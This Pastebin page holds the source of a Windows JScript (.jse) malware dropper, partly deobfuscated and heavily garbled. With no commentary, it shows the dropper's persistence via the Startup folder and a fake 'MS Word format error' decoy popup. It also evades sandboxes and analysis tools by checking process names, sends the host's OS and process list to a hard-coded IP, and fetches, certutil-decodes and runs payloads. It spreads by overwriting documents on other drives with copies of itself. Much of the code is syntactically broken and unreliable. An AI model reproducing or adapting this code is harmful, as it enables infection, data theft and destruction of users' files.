Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**/ ; /*indeed22*/ ; /*know86*/ ; /*there34*/ ; /*being24*/ ; /*that75*/ ; /*thus94*/ ; /*never7*/ ; /*this65*/ ; /*forces20*/ ;
- function convert_hex2char(hex, value) {
- try {
- /*indeed22*/ ; /*know86*/ ; /*there34*/ ; /*being24*/ ; /*that75*/ ; /*thus94*/ ; /*never7*/ ; /*this65*/ ; /*forces20*/ ;
- eihHere_8(hex, value); //WTF is this?
- } catch (e) {
- if (value != 'Char') {
- return true;
- } else {
- return String[['from'] + value + ['Code']](hex);
- }
- return false;
- }
- };
- adoptmeasures64ko = [884, 686];
- also22ko = [144, 333];
- differently5ko = [551, 981];
- roadI41ko = [707, 827];
- able7ko = [715, 155];
- Here30ko = [633, 326];
- comestheir91ko = [918, 279];
- Sometimes6ko = [948, 876];
- andpurposes98ko = [168, 51];
- parliamentary79ko = [636, 708];
- var lying16ko = 0.633;
- var 0.168 = 0.168;
- var principle28ko = 0.636;
- var forforcing73ko = {
- E: 80
- };
- var Theywere82 = 0;
- var false = false;
- var themselves30 = 0;
- var true = true;
- var generation18 = false;
- var many88ko = {
- Q: 87
- };
- var whenbrought20 = 3;
- var escape94ko = 0.233;
- var Parliament73 = null;
- var comestheir91ko = 'robot35';
- var dressed87 = null;
- var avoid30ko = true;
- var find96 = false;
- var bolted20ko = {
- U: 64
- };
- var never43 = null;
- var policy94ko = 0.222;
- var whether32 = null;
- var tricks79ko = [786, 22];
- var existenceIf28 = null;
- var true = true;
- var drove25 = null;
- var 'undefined' = 'undefined';
- var walk80 = null;
- var deputies68ko = 'although23';
- var always18 = null;
- var null = null;
- var 'undefined' = 'undefined';
- var sowed91 = 4;
- var 0.168 = 0.168;
- var class68 = 0;
- var principle28ko = 0.636;
- var could18 = false;
- var forforcing73ko = {
- D: 66
- };
- var attentively20 = 40;
- var 'wrote87' = 'wrote87';
- var -1 = -1;
- var false = true;
- var meansonly24 = 7;
- var true = true;
- var many88ko = {
- Q: 68
- };
- var three_spaces = " ";
- var escape94ko = 0.233;
- var fakeErrorMessage = "MS Word format error 78";
- var comestheir91ko = 'robot35';
- var avoid30ko = false;
- var bolted20ko = {
- U: 82
- };
- var policy94ko = 0.222;
- var tricks79ko = [786, 973];
- try {
- if (WScript[ScriptFullName][indexOf](\ + "Startup" + \) == -1)
- {
- Parliament73 = new ActiveXObject(Scripting.FileSystemObject)[OpenTextFile](WScript[ScriptFullName], 1, false, 0);
- always18 = Parliament73[ReadLine]();
- Parliament73[Close]();
- generation18 = true;
- if (true) {
- Wscript[CreateObjectWScript.Shell][Popup](unescape(fakeErrorMessage), 30, unescape(three_spaces), 1);
- }
- }
- } catch (Njmsqad) {
- Wscript[CreateObjectWScript.Shell][Popup](fakeErrorMessage, 6, three_spaces, 1);
- }
- while (1) {
- fakeErrorMessage = (ac);
- 1 = 1 + 1;
- if (1 == 2) {
- var deputies68ko = 'although23';
- var principle28ko = 0.636;
- var new ActiveXObject(Msxml2.ServerXMLHTTP) = new ActiveXObject(Msxml2.ServerXMLHTTP);
- var forforcing73ko = {
- R: 69
- };
- var although83 = String[(fromCharCode)](40 - 1); //'
- var theycould2 = Math[floor]((Math[random]() * (900)) + 1);
- var many88ko = {
- U: 84
- };
- var escape94ko = 0.233;
- var comestheir91ko = 'robot35';
- var avoid30ko = false;
- var bolted20ko = {
- Z: 80
- };
- var thisparliamentary28 = new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse + Wscript[CreateObjectWScript.Shell][ExpandEnvironmentStrings](%TEMP%);
- var policy94ko = 0.222;
- var tricks79ko = [786, 73];
- var 'undefined' = 'undefined';
- var deputies68ko = 'although23';
- var null = null;
- var doc_types = (*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb)
- var 'undefined' = 'undefined';
- var came15 = '';
- var 0.168 = 0.168;
- var ladder84 = 1;
- var principle28ko = 0.636;
- var forforcing73ko = {
- W: 64
- };
- var URL = null;
- var 'wrote87' = 'wrote87';
- var get_win32Processes = 0;
- var GetObject(winmgmts:{impersonationLevel=impersonate}!\\.rootcimv2 = null;
- var true = false;
- var ground42 = null;
- var many88ko = {
- R: 80
- };
- var have20 = 0;
- var escape94ko = 0.233;
- var get_win32ProcessPath = '';
- var comestheir91ko = 'robot35';
- var myown47 = '';
- var 'wrote87' = 'wrote87';
- var get_win32OS = null;
- var bolted20ko = {
- F: 72
- };
- var gratitude26 = '';
- var policy94ko = 0.222;
- var simple80 = '';
- var tricks79ko = [786, 35];
- var place45 = '';
- var true = true;
- var environment59 = null;
- var 'undefined' = 'undefined';
- var find1 = null;
- var deputies68ko = 'although23';
- var null = null;
- var 'undefined' = 'undefined';
- var 0.168 = 0.168;
- var principle28ko = 0.636;
- var feeling79 = '';
- var forforcing73ko = {
- Z: 73
- };
- var which27 = 0;
- try {
- get_win32Processes = new Enumerator(GetObject(winmgmts:{impersonationLevel=impersonate}!\\.rootcimv2[ExecQuerySelect * from Win32_Process]
- get_win32OS = new Enumerator(GetObject(winmgmts:{impersonationLevel=impersonate}!\\.rootcimv2[ExecQuerySelect * from Win32_OperatingSystem]
- while (!get_win32OS[atEnd]()) {
- if (class68 == 5) break;
- myown47 = '' + get_win32OS[itemCaptionVersion]
- class68++;
- get_win32OS[moveNext]();
- }
- myown47 = '' + get_win32OS[itemCaptionVersion] + String[fromCharCode](10 + 3) + String[fromCharCode](5 + 5) + new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse;
- class68 = 0;
- while (!get_win32Processes[atEnd]()) {
- if (class68 == 200) break;
- ground42 = get_win32Processes[item]();
- get_win32ProcessPath = '' + get_win32Processes[item][Name*ExecutablePathfromCharCodefromCharcode]
- class68++;
- get_win32Processes[moveNext]
- }
- } catch (Njmsqad) {}
- try {
- thisparliamentary28 = new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse + Wscript[CreateObjectWScript.Shell][ExpandEnvironmentStrings](%TEMP%) + myown47;
- for (Theywere82 = 0; Theywere82 < thisparliamentary28[lenthcharCodeAt](Theywere82)) & 4294967295;
- }
- if (new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse[indexOfAppData] + \) == -1) {
- Theywere82 = 5 + 5;
- } else {
- Theywere82 = 20;
- }
- } catch (Njmsqad) {
- 0 = 7777777;
- }
- get_win32ProcessPath = myown47 + String[fromCharCodefromCharCode] + get_win32ProcessPath;
- if ((get_win32ProcessPath[length] < 1400 || get_win32ProcessPath[indexOf](2B.exe) != -1 || get_win32ProcessPath[indexOf](Procmon) != -1 || get_win32ProcessPath[indexOf](Wireshark) != -1 || get_win32ProcessPath[indexOf](Temp\iexplore.exe) != -1 || get_win32ProcessPath[indexOf](ProcessHacker) != -1 || get_win32ProcessPath[indexOf](vmtoolssd) != -1 || get_win32ProcessPath[indexOf](VBoxService) != -1 || get_win32ProcessPath[indexOf](python) != -1 || get_win32ProcessPath[indexOf](Proxifier.exe) != -1 || get_win32ProcessPath[indexOf(Johnson) != -1 || get_win32ProcessPath[indexOf](ImmunityDebugger.exe) != -1 || get_win32ProcessPath[indexOf](OflordPE.exe) != -1 || get_win32ProcessPath[indexOf](ctfmon.exe) != -1 || get_win32ProcessPath[indexOf](*John-PC) != -1 || get_win32ProcessPath[anti-virus.EXE] != -1 || get_win32ProcessPath[indexOf](AgentSimulator.exe) != -1 || get_win32ProcessPath[indexOf](VzService.exe) != -1 || get_win32ProcessPath[indexOf](VBoxTray.exe) != -1 || get_win32ProcessPath[indexOf](VmRemoteGuest) != -1 || get_win32ProcessPath[indexOf](WIN7-TRAPS) != -1 || get_win32ProcessPath[indexOf](EmilyAppData) != -1 || get_win32ProcessPath[indexOf](PROCMON) != -1 || get_win32ProcessPath[indexOf](procexp) != -1 || get_win32ProcessPath[indexOf](tcpdump) != -1 || get_win32ProcessPath[indexOf](FrzState2k) != -1 || get_win32ProcessPath[indexOf](DFLocker64) != -1 || get_win32ProcessPath[indexOf](vmware) != -1 || get_win32ProcessPath[indexOf](LOGSystem.Agent.Service.exe) != -1 || get_win32ProcessPath[indexOf](C:\Users\user) != -1 || get_win32ProcessPath[indexOf](C:\Users\milozs) != -1 || get_win32ProcessPath[indexOf](wndanr.exe) != -1 || get_win32ProcessPath[indexOf](gemu-ga.exe) != -1 || get_win32ProcessPath[indexOf](HAPUBWS) != -1 || get_win32ProcessPath[indexOf](BennyDB.exe) != -1 || get_win32ProcessPath[indexOf](Peter Wilson) != -1 || get_win32ProcessPath[indexOf](Hong Lee) != -1)) {
- could18 = true;
- view[close](we_need_to_go_deeper)
- }
- try {
- if (generation18 && true && !could18) {
- dressed87 = new ActiveXObject(Scripting.FileSystemObject)[CreateTextFile](new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse, true, false);
- dressed87[WriteLine](always18);
- dressed87[Close];
- }
- } catch (Njmsqad) {}
- while (meansonly24) {
- try {
- feeling79 = theoretical28 + \ + Math[floor]((Math[random]() * (999)) + 1) + Math[floor]((Math[random] * (999)) + 1) + (.exe);
- came15 = theoretical28 + \ + Math[floor]((Math[random]() * (999)) + 1) + Math[floor]((Math[random]() * (999)) + 1) + (.cro);
- })();
- new ActiveXObject(Msxml2.ServerXMLHTTP)[setOption](3, (MSXML);
- URL = "https://185.159.82.20/t-34/x644.php" + "?min=f" + "&sin=tamud" + "&p=abs&i=&k=&r=" + Math[floor]((Math[random]() * (999)) + 1) + Math[floor]((Math[random]() * (999)) + 1) + Math[floor]((Math[random]() * (999)) + 1);
- new ActiveXObject(Msxml2.ServerXMLHTTP)[open]("POST", URL, false);
- new ActiveXObject(Msxml2.ServerXMLHTTP)[send](get_win32ProcessPath);
- if (new ActiveXObject(Msxml2.ServerXMLHTTP)[status] == 200) {
- if (which27 == 0) {
- never43 = new ActiveXObject(Msxml2.ServerXMLHTTP)[responseText];
- try {
- if (new ActiveXObject(Msxml2.ServerXMLHTTP)[getResponseHeader](RedSparrow) == '0') {
- feeling79 = new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse;
- -1 = 0;
- }
- } catch (Njmsqad) {}
- try {
- if (new ActiveXObject(Msxml2.ServerXMLHTTP)[getResponseHeaderContent-transfer-Encoding] == (binary)) {
- new ActiveXObject(ADOB.Stream)[OpenType] = 1;
- new ActiveXObject(ADOB.Stream)[Write](new ActiveXObject(Msxml2.ServerXMLHTTP)[responseBody]);
- new ActiveXObject(ADOB.Stream)[Position] = 0;
- new ActiveXObject(ADOB.Stream)[SaveToFile];
- new ActiveXObject(ADOB.Stream)[Close]();
- } else {
- if (never43.length > 10) {
- Parliament73 = new ActiveXObject(Scripting.FileSystemObject)[CreateTextFile];
- Parliament73[WriteLine](never43);
- Parliament73[Close]();
- WScript[Sleep](7000);
- new ActiveXObject(Shell.Application)[ShellExecute](certutil, "-f -decode " + came15 + " " + " + feeling79 + ", '', open, 0);
- }
- }
- } catch (Njmsqad) {}
- } else {
- which27 = 0;
- continue;
- }
- if (-1 == 0) {
- WScript[Sleep](50000);
- -1 = -1;
- which27 = 9;
- continue;
- }
- WScript[Sleep](33000);
- if (!new ActiveXObject(Scripting.FileSystemObject)[FileExists](feeling79) && true) {
- try {
- environment59 = new Enumerator(new ActiveXObject(Scripting.FileSystemObject)[Drives]);
- for ( !environment59[atEnd](); environment59[moveNext]()) {
- find1 = environment59[item]();
- if ((find1[IsReady] && (find1[DriveType] == 3 || find1[DriveType] == 1)) && Wscript[CreateObjectWScript.Shell][(ExpandEnvironmentStrings%USERPROFILE%)][substring] != find1[DriveLetter] {
- new ActiveXObject(Shell.Application)[ShellExecute]("cmd/U /Q /C cd /D Drive Letter: && dir /b/s/x >>%TEMP%" + \ + ascii.txt, '', open;
- WScript[Sleep](1000 * 60);
- }
- }
- WScript[Sleep](1000 * 50);
- drove25 = new ActiveXObject(Scripting.FileSystemObject)[GetFile](theoretical28 + \ + ascii.txt)[OpenAsTextStream](1, -1);
- while (!drove25[AtEndOfStream]) {
- simple80 = drove25[ReadLines]();
- place45 = simple80[substring](0, simple80[indexOf](.);
- new ActiveXObject(Shell.Application)[ShellExecute]("cmd/U /Q /C copy /Y" + ('obey46', 'factory6', 'know86') + " + new ActiveXObject(Shell.Application)[NameSpace](7)[SelfPath] + \shell.jse; + " + ".jse && del /Q/F open"}
- drove25[Close]();
- new ActiveXObject(Scripting.FileSystemObject)[DeleteFile](theoretical28 + \ + ascii.txt);
- } catch (Njmsqad) {}
- which27 = 0;
- continue;
- }
- existenceIf28 = new ActiveXObject(Scripting.FileSystemObject)[GetFile](feeling79)[OpenAsTextStream](1);
- gratitude26 = existenceIf28[ReadLine]()[substring](0, 2);
- existenceIf28[Close]();
- if (gratitude26 == "MZ" && which27 == 0) {
- try {
- switch (-1) {
- case -1:
- new ActiveXObject(Shell.Application)[Shell](feeling79, null, '', (open), 1);
- which27 = 59;
- break;
- case 0:
- which27 = 60;
- break;
- case 1:
- which27 = 61;
- break;
- case 2:
- which27 = 62;
- break;
- }
- } catch (Njmsqad) {
- which27 = 9888;
- }
- WScript[Sleep](9000);
- }
- }
- } catch (Njmsqad) {}
- WScript[Sleep](50000);
- };
- };
- };
- forforcing73ko = {
- I: 64
- };
- conducted92ko = {
- V: 89
- };
- hatred90ko = {
- N: 74
- };
- that7ko = {
- E: 89
- };
- well96ko = {
- V: 77
- };
- again32ko = {
- A: 72
- };
- filled8ko = {
- C: 69
- };
- lessen56ko = {
- T: 85
- };
- discussion52ko = {
- Y: 65
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement